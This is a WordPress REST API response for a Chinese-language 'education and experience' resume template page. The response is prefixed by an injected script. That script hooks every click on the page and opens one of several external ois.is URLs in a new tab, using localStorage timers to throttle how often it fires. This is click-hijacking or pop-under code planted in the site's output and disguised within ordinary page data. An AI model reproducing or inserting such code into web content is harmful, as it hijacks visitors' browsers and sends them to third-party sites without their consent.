<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1287,"date":"2018-09-23T15:08:23","date_gmt":"2018-09-23T07:08:23","guid":{"rendered":"http:\/\/edu.secda.info\/vain7\/?page_id=1287"},"modified":"2018-09-23T17:07:30","modified_gmt":"2018-09-23T09:07:30","slug":"%e5%ad%b8%e7%b6%93%e6%ad%b7","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/vain7\/?page_id=1287","title":{"rendered":"\u5b78\u7d93\u6b77"},"content":{"rendered":"<p><strong>\u5b78\u6b77<\/strong><\/p>\n<hr \/>\n<p>\u2022\u53ef\u689d\u4f8b\u5f0f\u5beb\u4e0b\u5b78\u6b77\uff0c\u4e26\u4e0a\u50b3\u7562\u696d\u8b49\u66f8<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u7d93\u6b77<\/strong><\/p>\n<hr \/>\n<p>\u2022\u53ef\u689d\u4f8b\u5f0f\u5beb\u4e0b\u7d93\u6b77\uff0c\u4e26\u4e0a\u50b3\u5de5\u4f5c\u8b49\u660e<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5b78\u6b77 \u2022\u53ef\u689d\u4f8b\u5f0f\u5beb\u4e0b\u5b78\u6b77\uff0c\u4e26\u4e0a\u50b3\u7562\u696d\u8b49\u66f8 &nbsp; \u7d93\u6b77 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":1289,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_header_footer","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/pages\/1287"}],"collection":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1287"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/pages\/1287\/revisions"}],"predecessor-version":[{"id":1322,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/pages\/1287\/revisions\/1322"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/media\/1289"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}